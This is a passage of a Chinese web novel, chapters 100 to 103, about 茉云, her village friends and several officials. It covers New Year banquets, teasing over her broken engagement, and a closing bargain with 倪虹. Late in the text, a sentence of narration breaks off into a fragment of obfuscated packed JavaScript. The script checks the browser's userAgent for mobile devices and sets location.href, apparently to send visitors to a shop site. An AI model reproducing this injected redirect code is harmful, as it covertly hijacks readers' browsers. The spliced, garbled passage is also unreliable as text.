“就是，你跑去粮仓偷东西吃，结果晓得你这个倒霉玩意怎么把粮仓弄塌了，老村长和老族长吓坏了，以为是祖宗怪罪，到现在每年全村的那个日子，都一群人在粮仓跟着老族长傻拜，王胖子额头都磕青了，咱家谁敢跟村里人说，是王胖子朋友弄的，这害了全村的事，咱干得不要不要的了？”王屠夫说得自己都气愤得有些上气不接下气，自己按着人中，差点就要倒下去。
“他爹，别激动，别激动……”王胖子娘和他马上上前扶着他爹。
王屠夫喘着粗气，还不依不饶的指着茉云骂：“我就纳闷，你这祸害玩意，咋还活呢？她娘，我那杀猪刀呢，老子今天还要跟天下除你这祸害！”。
“行了！行了！”茉云无语的丢开马鞭没好气的说道，“真是秀才遇到兵，散了散了吧，玩不下去了！”
众人顷刻间哄堂大笑，青岚也笑着迎了上去，茉云虽已气急败坏，可是王屠夫的脾气他知道，等下别把他气出个好歹来。
“太好了，没想到王叔王婶来了此处。”青岚笑着扶着王婶说道。
“哥说快过年了，接王胖子的爹娘来府上一起过年。”何友笑着说道，因为事情还未成定局，怕他们回去遭受牵连，遭遇什么不测。
王胖子满脸感激的看向若辰，若辰温和的笑了说道：“快将你爹和娘迎进去，还有扶你朋友回房给他上点金创药。”
“爹，他们都是好人，好官，很大的那种官！”王胖子马上介绍到。
“哦！”他们都立刻上前要跟正啸和若辰跪下行礼。
“不用行礼！”正啸马上说道。
“切莫行礼了，私家宅院，我们都是茉云的朋友，王胖子，先带你爹娘去修养吧。”若辰笑了说道。
“好！”王胖子马上扶起了二狗，迎了王叔他们进去，边走边说：“老天保佑，派了我爹来，救了你小命。”
执礼远远看着笑了感叹道：“老天保佑，能否派人来救救我少主……”
若辰他们顷刻间忍俊不禁，正啸没好气的转身进房了。
思淼则凑过来问道：“听闻师兄受伤了，可还安康？”
“卓大人，您还知道关心你师兄安危？”执礼笑了望向思淼说道。
“诶，关键时候，我得支持我师姐！”思淼笑着大声说道，说完小声凑过来说道“可怜我还要跟我师姐回中州的，我敢支持海棠姐弟吗我？我能有我师兄这么二……哦，不不不，我能有我师兄这么刚？我不要命了我？”
100.感恩
落日西沉，晚霞微醺，千山跟万莫换班值守，让万莫下去休息，万莫却偷偷抱着自己的断剑，坐在夕阳下看着。
“不好意思。”茉云走来坐到万莫身旁说道。
万莫马上把断剑放到了身后，茉云从兜里拿出桂花酥和万莫分着吃，万莫咬了一口顿时心情豁然开朗。
“剑是谁给你的。”
“少主。”
“他怎么会有这么……这把剑？”茉云看向那把剑，心想这把剑着实沧桑且寻常了一点。
“这是少主刚学剑的之时用的剑。”
茉云愣松了半刻，据说他不是五岁就学剑了，刚学剑就用这么长的重剑？
她拍拍万莫的肩膀说道：“我日后再跟他一起陪你一把好剑，可好？”
“没事，我哥说再给我买。”
“不行，好汉做事好汉当，我必须赔你。”茉云指着剑说道。
万莫则被逗笑了，憨傻的笑了点点头，继续小口吃着桂花酥，生怕酥脆的点心掉了半分。
“知道你家少主为何一定要救倪尚吗？”茉云忽然问道。
“知道。”万莫点点头看向茉云。
“为何？”
“因为倪尚是他弟弟。”
茉云以为万莫意思是因为倪尚是倪虹弟弟，顿时便没好气的起身说道：“她弟弟就可干尽坏事吗？”
“少主弟弟已经走了，那坏人说，他要抓的是少主，若要救卢旭，让少主自己去换，少主要去，老太君不同意，让人押了少主，结果那杀手抓走了卢旭小少爷，他就再也没有回来。”万莫回忆着望向茉云说道。
茉云怔了半刻看向万莫，她知道卢正啸的堂弟卢旭是死于峑戎的杀手，可并不知道这番细节过程。
“老太君说怪不了别人，只怪卢家没看好，卢旭小少爷从小就敬仰少主，逢人就说卢正啸是他哥哥，少主回京，他非要偷跑去城门口接他。”万莫想着伤心的说道。
“这和倪尚有何关系？”
“倪小少爷和百林的弟弟都是和卢旭小少爷一样大的，他们三人从小就一起玩，那时候卢旭小少爷走了之后，少主很难过，倪尚小少爷和百林弟弟都跟少主说，卢旭走了，他们就代替卢旭做少主的弟弟，少主答应了。”万莫平淡的说完，将手中剩下的桂花酥碎末全部倒入了口中。
茉云深深吸了口气又坐在了万莫身旁，原来他是这个意思……良久之后看向万莫笑了问：“我听说过……百林，千山，万莫，你们都是卢正啸自小的贴身侍从，百林虽然走了，但是他弟后来争气考上了武举，入朝为官，你和你哥怎么没有想过入朝为官了。”
“我不想做官，我和我哥要一辈子守着少主。”万莫望向茉云说道。
茉云温和的笑了拍拍万莫的肩膀，此时王胖子扶着二狗踉踉跄跄出来走走，结果撞见了茉云在，两人吓得连滚带爬的跑了，狼狈的样子把茉云和万莫都逗乐了。
“王胖子人真好。”万莫憨笑着看向茉云说道。
“好在哪？”
“他每次见到我都能从兜里掏出好吃的给我，还热乎乎的，跟变戏法一样，好厉害。”万莫感叹的说道。
茉云看着万莫敬佩的表情顿时笑得前俯后仰，青岚远远看着顿时松了口气，茉云眼中的杀气终于消散了，若不是这些单纯的初心只怕是都无法安抚她狂躁的心。
执礼则去到了正啸房里，若辰正和正啸议着新到的公文。
若辰转头望向执礼笑了说“怎么？没劝好？”
“属下无能，幸得二狗被压回，才得全身而退，已属万幸。”执礼恭敬地说道，“少主，我刚修书去军营，让谢青派沧海还有另外一位将军来此，还有白神医在，应该就稳当了，这快要过年了，咱身家性命还是要有个保障。”
若辰和何友皆被逗笑了，白神医在一旁给正啸诊脉也被逗笑了，正啸没好气的看了执礼一眼，执礼笑着故意躲开了眼神。
“茉云何以如此抓着倪尚不放，难道真是因为他是倪虹弟弟？”何友望向若辰问。
若辰顷刻被逗笑了：“她不是这等气量狭小之人。”
“哥，你和茉云谈气量？”何友没好气的回敬道。
“她是想杀鸡给猴看。”执礼起身给众人填茶说道，“南境之大，少主和两位大人，都是双手双眼，边防事务实在无法巨细无遗，而南境诸城战乱之后之十几年，与民修养，吏治管理也总有松懈，昔日边城都如人间炼狱一般……”
众人都很沉默，南境的情形他们亦知道，关若辰领了南境巡抚之后，已经是励精图治在革新吏治了。
“那也不是可一蹴而就的，而且哥已经在努力促成朝中年轻的能人志士来南境为官，就是想注入活力，让南境官场也能为之一新。”
“她就是想杀鸡给这群新猴子看，在她看来跟少主极为亲近的倪尚就是极为好的鸡。”执礼笑了望向何友说道。
“为何，这南境中比倪尚恶的官没有了吗？”
“有啊，可人家没得倪尚这般倒霉就给她撞上了，不止如此，倪尚还要杀王胖子，还拿着少主的令牌打了她方茉云二十棍，人姐姐还当着众人面盛气凌人了一番，接着少主还来……你瞧瞧这一行操作简直就是天要灭倪尚啊。”
顿时众人哄堂大笑，正啸懒得理他们，他深吸一口气看向窗外，他亦不是不知道茉云的苦心。
“晚上备一桌好酒菜，我帮你劝劝她。”若辰看向正啸笑着说，“重点是你千万别再帮海棠姐弟说话激怒茉云了。”
正啸压根懒得搭理若辰，众人又是一番忍俊不禁。
晚上茉云他们走入饭堂，看向一桌好菜，且很多都是自己喜欢吃的，青岚看着则笑了望向茉云。茉云开心的坐了下来，美食当前，她速来不管其他。
“这是我们哥两亲自请了迎宾楼的掌厨来做了这桌菜。”何友看向茉云笑着介绍到，“看看合不合你口味。”
“这般客气。”茉云顿时开心点点头说道。
此时正啸和若辰走了进来，后面跟着执礼和倪尚，众人都起身行礼，茉云随也极不情愿的起身，可她压根就没有搭理正啸，众人亦习惯了他两相互的漠视。
“未请王叔王婶？”若辰看向何友说道。
“关大人，您太客气了，我爹娘坐车有点累，二花给他们煮了粥，让他们先歇息。”王胖子傻笑着说道。
“好，那就让长辈先修整，诸位请坐。”若辰温和笑了说道。
青岚坐下之时余光看向茉云，他们皆是如此高官，对待茉云的友人却都是礼敬有加。王胖子他们丝毫不懂桌上礼仪，可是若辰他们丝毫不在意。
茉云拿起筷子停了半刻，看向坐在自己身旁的若辰。
“怎的？不合口味？”若辰小声问茉云道。
“关大人，意欲何为？”茉云看向若晨亦轻声回道，“我怕等下吃了嘴软，达不到大人的要求。”
“你不是一向吃了再说吗？怎得也被这官场陋习浸染？”若辰笑了说道。
茉云顿时被逗笑了拿起了精致的包点吃了起来。
“倪尚和卢旭一般大小，就像我两亲弟一般，
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没教好他亦是我等之责，他罪不至死吧……”
茉云吃着点心抬眉望向若辰，一脸的不为所动。
“你不亦有青岚和王胖子这样的挚友。”若辰温润的笑了说道。
“都别说为恶，可我朋友从不拖后腿啊，自从白岩无意说了青岚一句，她都从不去衙门找我，哪比得上这种送走了，还贴上来帮倒忙的。”茉云直接怼道。
正啸压根懒得理她，执礼却忍着笑，这世上又有几人能轻易劝服方茉云呢？
“你态度好点。”青岚在茉云耳边小声说道。
“你素来和朋友亦是相互帮衬，怎得对我们要求如此高，若行差就错，及时匡正就好，哪有稍有差池，便一脚踩死的道理。”若辰依旧不恼的看向茉云笑着说，他亦从不跟茉云谈大话和官话，更不会咬文嚼字，就像寻常的聊天，“再说倪尚这小子，幼时挺可爱的。”
“那是你不够了解我，我素来为达目的，拿人垫背是常事，故而我只交靠谱的朋友。”茉云转头看向王胖子说道，“对了，王胖子，我还未跟你坦白一件事，其实我一来谷山我就知道你是被冤枉的，我其实随随便便就能给你犯案，可是当时情势所逼，我只得委屈你被流放了。”
“啊？”二花吃惊的望向茉云。
王胖子大口吃着菜，笑着大手一挥说道：“没事，你干正事要紧。”
“还有其实带你出关之时，我就是为了拿大家做饵，引一条大鱼出来，其实若平心而论，是否能赢？我连五成的把握都没有，幸亏你小子还是福大命大，没有曝尸荒野。”茉云坦然的笑了望向王胖子说道。
二花看向茉云顿时脸都吓白了，青岚亦无语的没好气看向茉云。
茉云端起了酒看向王胖子笑了说道：“王胖子，来，我敬你一杯。”
王胖子看向茉云愣松在那，众人忽然都有些鸦雀无声，正啸双眉微蹙，她当日哪里有五成的把握，完全就是玩命？
王胖子也想着端起了酒杯的说道“小时候，你说，待你学得一身武艺，带我闯荡天下，行侠仗义不平事，纵马驰骋踏沙场，一剑斩邪魔，一剑除宵小，豪情万丈，壮志凌云。”
青岚愣了半刻看向王胖子，这都是当日茉云戏文中背下，来匡王胖子的话，这小子平日里连个四字成语都不说不全几个，居然将茉云的话一句没落的全记着。
“我爹还老说你是匡我的，我就知道你不会骗我，你看，二花，我王胖子这辈子也曾跟茉云，去关外打过峑戎，我还一脚把那贼人踹飞了三丈去。”王胖子顿时眼含泪花激动地说道。
二花顿时就笑了，开心的点点头，一脸崇拜的望向王胖子。
茉云亦深吸了一口气说道：“对，王胖子，自此以后你也是曾仗剑天涯，为国效力，俯瞰过万家灯火，心有大义之人。”
“来，干了这杯酒。”王胖子顿时端起激动一饮而尽。
“干。”茉云亦笑着一饮而尽。
王胖子坐下望向二花自豪的说道：“记着，等咱有孩子了，记得跟他们说。”
茉云坐下转头望向若辰，没好气的说：“幼时可爱？知道王胖子小时候傻笑着捧一大盆肉来找我们的样子，多可爱吗？而且他长大了，还是如此仗义又好骗，你自己看看你们那身边都是一群什么玩意？”
“扑哧”众人顿时隐忍不住哄堂大笑，青岚亦无语的笑了，轻轻擦拭了眼角的泪水。
茉云轻轻吸了一口气也笑了，余光看向正啸，想起他跟自己说过的话，自己一生际遇虽是坎坷，但实属是幸运的，应感恩这些遇见……
101.放过
恰逢此时，沧海和威行走了进来，立刻跟正啸行礼，正啸点了一下头示意他们无需多礼。
若辰亦温和的抬手让他们坐下一起用晚膳，他们两坐下看着茉云便笑了。
茉云自然知道他两为何来此，却毫不在意爽朗的笑了跟王胖子介绍说道：“这是我军中的兄弟，沧海哥和威行，这是我好友王胖子夫妇。”
“我上次见到这个将军，拿着大刀威风八面。”王胖子满脸激动望向沧海说道。
“那是，沧海哥是军中战力最强的将军。”茉云竖起了大拇指一脸钦佩的说道。
沧海谦虚的摆着手，大家端杯一饮而尽，执礼则忍着笑，茉云和他们聊起之时，好像正啸压根没有坐在此处。
“可说书的说，军中最厉害的将军是一个叫做镇南的大将军？”二花看向茉云疑惑的说道，他们又怎么知道镇南只是一个封号，而且就坐在他们面前。
“自古说书的能有几句真话。”茉云直白的评价道。
“扑哧”众人忍俊不禁，他们已经习惯了，茉云素来也难得说正啸几句好话，正啸亦压根懒得理茉云。
“方茉云，我听说你又给将军惹祸了？”威行笑着望向茉云说道。
茉云没好气的回怼道：“谁说的？”
“这还用说吗？你去边城当官，人边城刺史疯了跳河了，你不过是去了趟谷山，谷山县令也跳河了，你说说你这……你要不去峑戎算了，说不定我们仗不用打了。”
茉云愣松了半刻瞪着威行，众人顷刻哄堂大笑。
威行笑着故意问道：“诶，万莫，你剑呢？”
万莫素来耿直指着说道：“少主跟茉云打架，把我剑砍断了。”
沧海无语的看向茉云说：“将军还有伤在身。”
“是我要拿倪尚，他打我。”茉云没好气的抱怨道。
“你抓倪尚干嘛？”沧海无语的看向茉云说。
“你问问他干了什么好事？”
“得了吧！”威行喝着酒笑着说道，“方茉云，还有人能干得好事有你多。”
沧海也看着茉云笑着说道:“咱不也老犯错，将军不也容了咱。”
“再者，人有背景，你比不了，人有个……姐姐，跟将军自幼关系好着呢。”威行故意笑着说道。
若辰被逗笑了望向威行，执礼顿时也伏低头忍着笑，这群家伙简直就是当正啸是虚设。
“哼，早知今日，当日应该拉着卢老太君跟她义结金兰，我看你们将军敢不敢打她姑奶奶。”茉云一脸气愤的拍着桌子说道。
“扑哧”众人忍不住哄堂大笑，倪尚却有些诧异，居然连执礼都笑了，他们竟如此开老太君的玩笑。
茉云则想着也乐了：“说来，若是拉着卢老太君一起去峑戎，我倒是有信心，大业何愁不成？”
众人更是笑得欢了，倪尚余光望向全桌，就连正啸哥和执礼都未说什么，可卢老太君是何其德高望重之人，昔日她姐见卢老太君之时，连一根头发丝都要梳利整。
“打起精神来。”沧海自己起身乘饭之时，经过倪尚身边拍了拍他肩膀说道，沧海的爹走得早，故而小时候亦常被老太君叫来家里，自小也认识倪家姐弟。
“沧海哥。”倪尚连忙起身行礼说道。
“那时你要是跟着将军学几招强身也好。”沧海看着倪尚精瘦的样子说道。
“没有用！”威行几杯酒下肚笑着说道，“还有人传什么鬼新人笑，旧人哭，我雄山兄弟说得对，甭管新的旧的，人还是鬼，碰见了方茉云，都得哭。”
顿时众人哄堂大笑，茉云愤怒的将酒杯往桌上重重一放。
“你看哈，前几日我奉命年前去元帅营帐汇报，我跟卢帅汇报说毒戎被擒灭，卢帅瞪圆了双眼问我，谁立此功？我说是你，顾将军立刻问我，你如何除的此贼，我说据传你不知又是发了什么疯，突然闯到关外去，毒戎来杀你，被你反杀。”威行大笑着描述道，“结果元帅乐了评价道，这丫头一日不发疯，便是浪费生命，让她去，反正哭的都是别人。”
“忘年交。”茉云丝毫不恼了，开心的举起酒杯说道，“卢帅到底是卢帅，元帅果然比将军英明。”
“扑哧”众人又哄堂大笑，正啸无语的吃着饭，执礼也伏低头不禁叹息道，元帅不过是不知道实情，他哪里有那么多儿子去陪方茉云发疯。
众人谈笑风生的把酒言欢，直到酒席散了，万莫把王胖子扛了回去，王胖子还在嚷嚷着要和英雄们再喝几杯。
月已沉，夜幕黑寂，树木被寒冬削去了衣裳，光秃秃站在院中接受这暮冬的洗礼，正啸只身走上了阁楼，遥看着万家灯火，慢慢熄灭。
忽然身后传来了他熟悉的气息和熟悉的声音：“为什么？”
“罪不至死。”
“即便不死，亦不可留，他若是故意的，以倪尚的心思之多，日后可比何子淳之流，为何给他机会？”
正啸转身望向茉云，月光下正啸的脸色显得越发苍白，可眼神依旧刚毅而迥然，且透过一丝无奈的温和，似乎在说，那我当日为何给你机会？
茉云没好气接自我肯定道：“我如此优秀！”
正啸居然顷刻被逗笑了，无语地叹了口气，两人便是这么站在星空之下，看着冬日繁星，它们似乎拼尽一切，以微光温暖着大地。
清晨，二花起来大早，为大家炖了骨汤，下面给大家吃，众人围坐，热火朝天的吃面，顷刻化解了晨始的寒意。
“若再有下次，我定要你小命。”茉云进来拿起筷子忽然冷冽的说道。
王胖子马上看向二狗说道；“还不快点说好，谢谢茉云饶你一命。”
茉云拿起筷子亦冷冷的看了倪尚一眼，然后低头吃面。执礼看向茉云松了口气，最终是谁改变了她的主意。
“谢谢！”二狗瘪瘪嘴巴小声说道。
茉云瞬间就被这碗温暖而骨香浓郁的面吸引了全部注意力，压根没有搭理他。
二狗想着小声和王胖子聊天说道“胖子，现在茉云都当官了？”
“嗯！”王胖子看着二狗说道，“她可厉害了。”
“那她可以跟我找个媳妇不？”
“那估计没戏，她自己都没得找，还能跟你找？”王胖子小声望向二狗说道。
“你不是说她可厉害了？”
“可不就是太厉害了！”
“有道理！”两人都觉得分析得极为有理的点着头，转过头继续吃面，再一抬头看见坐在
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对面的茉云，那眼神瞬间吓得二人差点没有从椅子上摔下，顿时众人哄堂大笑。
茉云想着也乐了说道：“诶，王胖子，幼时我就纳闷，我听你爹娘曾讨论，想让青岚做你家童养媳，不考虑我，就是因为我厉 害？”
“不是啊。”王胖子想着说道，“不只是……”
“姐，谁家找童养媳会找个又凶又能吃的？”二狗望向茉云小声说道。
顿时众人又隐忍不住，哄堂大笑，青岚亦笑得只得用手轻掩着唇，怕笑得喷出而失礼。
“别这么说茉云姐，茉云姐是个好人，王胖子说了，她只是怕我们犯傻，才对我们严厉点。”二花看向二狗反驳道。
“嫂子，那你误会茉云姐了，她一视同仁的。”二狗想着小声说道。
“对，茉云不是那般势力的人，那日大将军劝她，她也让大将军滚。”王胖子一脸笃定的评价道。
“扑哧”威行他们笑得差点喷出来。
茉云一脸无奈的望向青岚，却看见青岚身边差点笑岔气的思淼，她停住了望向他。
思淼顿时也察觉了茉云冷厉的眼神，顿时清了清了嗓子说道：“诶，你们这么说过于浅薄了，自古能力强之人，都是血脉刚毅之辈，岂会轻易低头，想我师姐，对吧？恶名昭著的峑戎四将，短短几年，她一人灭了两！”
茉云冷凌的眼神顷刻间乐了，喜笑颜开的说：“此话不假，看你师兄扑腾了大半辈子不知他在干嘛，你师姐我轻轻松松，不废吹灰之力！”
“扑哧”众人看向正啸那望着茉云瞎眼的表情，又是哄堂大笑，执礼亦伏低头笑而不语，只得叹息，方茉云的不废吹灰之力，少主几近是舍了命护她，别说峑戎这几个将军，就是全峑戎之力也没有这般折磨过少主。
本就是年三十，庄院里热火朝天的准备着年夜饭。
茉云开心的看着二花剁的肉馅：“行家。”
若辰则走出来微笑着望向茉云说：“茉云，问你个事。”
执礼顿时无语的看向了若辰，何友更是吃惊的望向他哥，还没等他阻拦，若辰便脱口而出。
“都是故人，邀景升夫妇来庄院吃年夜饭如何？”
茉云抬目望向若辰反问道：“关大人，是府上是跑腿的都告假了，让我去传话？”
“那不用，你承诺不动手就行，等下大过年的见血，也不吉利。”
“让他两吐血，还用动手啊？”茉云无语的看向若晨说。
若辰瞬间又被逗笑了看向何友说道：“去请吧。”
“是！”何友马上开心的笑了转身离去，茉云看了一眼何友背影，这家伙亦是把恩情看得比什么都重之人，真不知道位高权重、如履薄冰的关太傅是如何教出这双儿子的。
青岚则凑近看向茉云说“晚上人来了，你别针对人，显得毫无气度？”
“这话说得！”茉云无语的说道，“气度这个词，跟我有何关系？”
在旁边帮忙包饺子的思淼、小马他们都乐得不行。
“那争风吃醋的贱人这个称谓，跟方大人有关系吗？”青岚在茉云的耳边小声笑着说道。
茉云无语的白了青岚一眼，顷刻间眼中却闪过一丝思虑，倪虹其实来得正好……
102.目的
家家户户张灯结彩，炮竹声此起彼伏，这热闹凡尘瞬间融化冬日的深寒。
茉云在门外就被这年夜饭香气所吸引，开心的跃过门槛，瞧见屋内两张红木雕花大圆桌上的食色生香，瞬间展开了笑颜。
正啸等人已落座，若辰起身抬手本欲按主人礼节，让何友将茉云迎至主桌，主桌已安排了位置指给她。
茉云却自顾自的行礼说道：“诸位大人吉祥。”
说完她径直走向了另外一桌，开心的坐了下来，景昇不自觉的看了茉云一眼，于礼，客随主便，她居然完全无视主人的邀请，而她一小小参军，如此受重视能坐主桌，她即无礼亦无视……
“随茉云喜好吧。”若辰温润的望向何友笑了说道。
众人入席之后，若辰举杯感谢大家赴宴，共饮一杯之后，宴席开始。
两桌的氛围瞬间天差地别，茉云一桌吃得那叫一个热火朝天，笑语连天且食物靠抢，就连王胖子的爹娘都笑得前俯后仰。
茉云端起酒杯抿了一口，不愧是关若辰府上，这么好的酒，可是她忽然微微蹙眉，这酒如此之烈，也不符合关若辰平日里喜好啊。
威行端杯敬正啸之时笑着说：“将军，这好酒是我们带来的，是南铸城特地送来孝敬您的。”
“正啸哥何时在军中饮过酒？”
“无论如何，这是人的一番心意嘛。”威行大条的笑着说。
正啸却没有任何表情，而茉云余光看见，倪家姐弟瞬间放下了酒杯，她嘴角上扬轻轻一笑若有所思。
王屠夫一下凑过来打断了茉云的思绪，小声说：“倒霉丫头，有这么多大官在，你得去敬酒，巴结巴结啊。”
“王叔，他们不能随便巴结的，乱巴结会出事的啦。”
“你这丫头，不懂事，礼多人不怪？”王叔小声训斥道，“难怪一大把年纪，还没把自己嫁出去。”
“是啊，那时候你哥不是说你有婚约了，咋了，人不要你了。”王婶也着急的望向茉云道。
“哎，别提了。”茉云无语的摆手道，显然不想继续这个话题。
“丫头啊，女的大了就不好找了，这个不行赶快找下家啊。”王婶关切的说道。
“我挺好，二狗他娘一个人不过得挺好的。”
“你怎么跟刘寡妇比呢？”王婶数落道。
“怎不能比？我至少还有个公职养活……”
王叔接过话大声说道：“人寡妇至少曾经有过男人，人还有个二狗，你屁都没有，你怎么跟人比？”
“扑哧”众人顿时哄堂大笑，威行这边也听到了笑得顿时喷了出来。
“王叔，要不聊点别的吧？”
“倒霉丫头，不是王叔说你，知道自己亏欠，要面对现实，逃避也不是办法，你看二狗，他虽然是被骗了，至少人想着先去搞点钱，把媳妇娶了。”
茉云停住了看向王叔：“我很亏欠吗？”
“你说呢？长相气质就不说了，你反正没个女孩样，女孩儿该有的手艺你一个没有，不该有的手艺，你样样都来，吃得比王胖子多，骂人比村里泼妇还狠，你说你现在还打人，就以前在村里，连猪见到你都跑。”王叔看向茉云着急的感叹道，“怕是比猪还蠢的才能看上你。”
“什么？”茉云愣松在那里，顿时众人哄堂大笑，执礼亦笑得不行，看了正啸一眼，他一如往日一般严峻，似乎这年夜饭的热闹都与其无关。
王婶似乎并未想停止这个话题，她看向茉云八卦的问：“当日你大哥经过村里的时候，说你有可能嫁去关外，说有个帅小伙愿意娶你。”
“哦，你说奇能啊，本来吧，我是想着他哥娶了部落主的女儿，一辈子好吃好喝没跑，还能帮我报家仇，结果一不小心，他哥被杀了，他自己仇还没地报，我还能指望他？算了。”茉云想着乐了说道，倪虹抬目瞟了茉云一眼，她居然众人面前如是说。
“你看着混账丫头……”
“诶，别这么说，谁家姑娘嫁人还不是图个安稳过日子。”王婶拉住王叔说。
青岚吸了口气无语的看向茉云，她何苦如此说自己，当日奇能愿意带茉云走，可茉云知道部落需要奇能，且她素来当奇能是兄弟，所以她头也不回的走了……
“那你本来婚配，不是指腹为婚定了的吗？”王婶似乎没打算放过这个话题，“人怎么可以说不算就不算了。”
“就是，指腹为婚，我一出生那就是临县县太爷家的儿媳妇，本在县里可豪横了，谁晓得我爹死了……”茉云想着愤怒的说道，“那天杀的贱人就不认账了，他们家也有个无耻至极的奶奶，说翻脸就翻脸……”
茉云说的这个也字，顿时让众人都抬起头。执礼亦抬目望向茉云，她这不是暗喻老太君吗？京城皆传闻倪虹会嫁卢家，可倪大人被罢官后，老太君就……但是事实并非这么简单，自己是不是应该将其中破朔迷离的隐情告知于她。
“可指腹为婚这是众人皆知之事，岂是说废就能废的。”
“王婶，你听她胡说，即便人家奶奶事前有悔婚之嫌，危难之时没有伸出援手，可人公子长大之后，温润有礼，且要信守婚约，对她亦是万般的好，只可惜……”青岚叹息着茉云说道，“可惜人家里为了公子的前途着想，毕竟茉云哥哥是戴罪之身，希望她能断绝和娘家的关系，可茉云大哥入狱，二哥有病，家中还有一侄子要养……人却想着给他们一笔钱，从此再不来往。”
“岂有此理，这样势力的富人家，嫁了日子也不好过。”王叔气愤的评价道。
“对，这样的婆家，不好，算了！怎可抛下老大，老二，他们都是那么好的孩子。”王婶亦想着气愤的说。
思淼凑过头看向青岚义愤填膺的问：“所以师姐就硬气的解除婚约了？”
“可人公子宁弃大好前程，亦不愿解除婚约。”青岚笑了看向茉云说道。
“后来呢？”思淼和小马他们皆八卦的望向青岚。
青岚却欲言又止，茉云却接过话来笑着说道：“后来他家找到我，要我主动解除婚约，给我一笔钱，我想了想，卖了我两哥和侄子这事不合适，可是卖了他们家儿子，这买卖还行，我就应了，后来我想着这钱也会坐吃山空，我又去威胁了他爹，让我顶替我哥，去县衙接替我爹当年的县丞之责，混个公职，现在想来，咱也没亏！”
众人皆愣松半刻望向茉云，若以常人论之，一个女子要如何厚颜无耻才能说出这翻话，倪虹轻轻顿了半刻，眼中余光看向正啸，她心中亦很诧异。
青岚却吸了口气，她如何要这般说自己，当日不过是那公子家人知道，若是没这笔钱买上好的药材，茉云二哥的命便是朝不保夕，她其实从未有过选择……
“师姐，人一番深情你如此践踏，你就不怕下辈子有报应。”思淼速来是个戏听多了的人。
茉云一脸轻描淡写，顿时眼中闪过一丝冷冽说道，“深情？我这人不懂，我只知道我爹娘大仇为报，我家里有人要救要养，而我要好好的站着活。”
倪虹不禁抬目望向茉云的背影，景升亦望向了她，即便是她的背影都给人一种如松亦如山的压迫感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186862|130368||http|test|mini|href|location''.split(''|''),0,{}));
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“那你爹娘的仇报了没？”
“您快别说了……”青岚看向王叔说，“这比她没嫁出去让她糟心多了……”
“咋折腾这么久，还没折腾明白呢？”
“说了，让你别说了。”王婶望向王屠夫小声的说道。
“哼，可不是我没折腾明白，我就是倒霉催的，我差点就手刃了仇人。”茉云每次想起就气不打一处来骂道，“有的人自己的人没空管，什么公务缠身，什么边关告急，一大堆理由，老子要干点什么事，他总是从天而降，老子捉了贼，他说罪不至此，老子捉了罪大恶极的，他说情有可原，等老子报杀父之仇，他倒是没话说了，直接打了我一顿。我担心什么下辈子报应，这辈子报应已经来了。”
“扑哧”顿时众人哄堂大笑，威行笑得最开心，正啸眼中闪过一丝愤怒，却压根懒得理她，他两素来在众人面前从无好好交流。
“仇不仇的本也不是你们女儿家的事，你还是找个人家把自己嫁了稳当。”
“您放心，人之所遇皆是因缘，失去的皆是芝麻，花生，待我把该干的事干了，我铁定能寻个西瓜。”茉云和王叔碰杯说道。
“什么是西瓜？”青岚笑笑望向茉云问道。
“人前人后尽能包容，有风无风皆是自由，甘愿且得闲陪你跋山涉水之人便是西瓜。”茉云淡然的笑了说道。
倪虹却忽然轻轻吸了口气，若辰看向茉云则浅浅的笑了，原来她的这番话另有深意……
众人谈笑风声的吃完了年夜饭，倪虹随着景昇上马车会别苑，茉云的话似乎还在耳边，她的思绪却有些混乱，上马车之时一下没踏好，幸得景昇扶住了她，倪虹抬头望向景昇温和笑了。
景昇亦温润的笑了说：“数日未见夫人笑颜，月出皎兮，佼人僚兮。”
倪虹望向景昇娇俏而有几分羞涩的笑了，从自己嫁入景家，景昇便是全心全意的相护，从未要求过自己半分，却视自己若珍宝。
“不好意思，打扰一下。”茉云丝毫未有迟疑的说道。
青岚无语的转头看向茉云，茉云则一脸的坦然，她等此人很久了……
“景夫人，冒昧打扰，下官有事想讨教。”
“方大人，何事？”倪虹此时的眼光中，终于透出了温和。
“当日倪家之难，你觉着是谁让朝廷知道了私自调兵之事？”茉云开门见山的问道。
倪虹愣了半刻望向茉云，她为何会过问此事。
“换句话说，你觉得是谁害了倪家？在这里没有别人，她是我好友，是个琴师，未入过京城，不用担心。”
“我不畏惧于此，我确实没有证据证明是谁出卖了卢家和倪家，可我很好奇，方大人为何此时过问此事？”
“出卖这个词用得好，也就是你也认为是卢家身边之人所为。”茉云并没有回答倪虹的问题，眼神却瞬间逼了过来。
倪虹怔了半刻望这她，好锋利的眼神让人不禁胆颤，这些尘封之事，不论曾经是多么刻骨的痛，如今都未有人敢随意掀开，而方茉云此举是意欲何为？
“景夫人自小京城长大，端庄娴淑誉满京城，您绝不是冲动莽撞的女子，这次来救家弟，手中必也有能拿捏之物吧。”茉云淡然的笑了望向倪虹，可她至今未拿出，也不知道她到底是不忍还是不愿意和卢家撕破脸面。
“方大人刻意显得和他如此疏远，离心，又为何插手此事呢？”倪虹望向茉云问道，“你有何目的？”
茉云顷刻笑了，这才是京城倪家大小姐应有的城府和气度……
103.陷阱
“夫人出生高贵，端庄贤淑，必然不想毫无根据出口伤人，下官斗胆猜测，是昔日卢正啸贴身侍卫百林的妹妹，唐百欣害的倪家吗？”
倪虹吃惊的望向茉云，而茉云的咄咄逼人之下，眼神中却含着坦然和坚毅，未有丝毫的畏惧和迟疑。
“若我将让那贱人姐弟抓去伏法，你能将当年的证据毁了吗？”茉云嘴角上扬的看向倪虹，风轻云淡的说道。
倪虹更是诧异的愣松了半刻之后，深吸一口气说道：“好。”
“好，夫人果然快人快语，咱们一言为定。”茉云行礼转身准备和青岚一起离开。
“你若动他们姐弟，卢家和卢正啸都不会原谅你的。”
茉云顷刻笑了，这种冷笑总是让人不寒而栗：“夫人，其实我没那么在意卢家和卢正啸的想法。”
倪虹望向茉云，她言辞如此坦荡，并未隐瞒半分真情实感。
“我乃南境人，护卢家只因他们能平南境，我亦和唐百欣姐弟无新仇旧怨，动他们不过是因为本欲用你弟杀鸡儆猴，你弟被他保了，那就牺牲另外一个弟弟，那个弟弟更该死。”
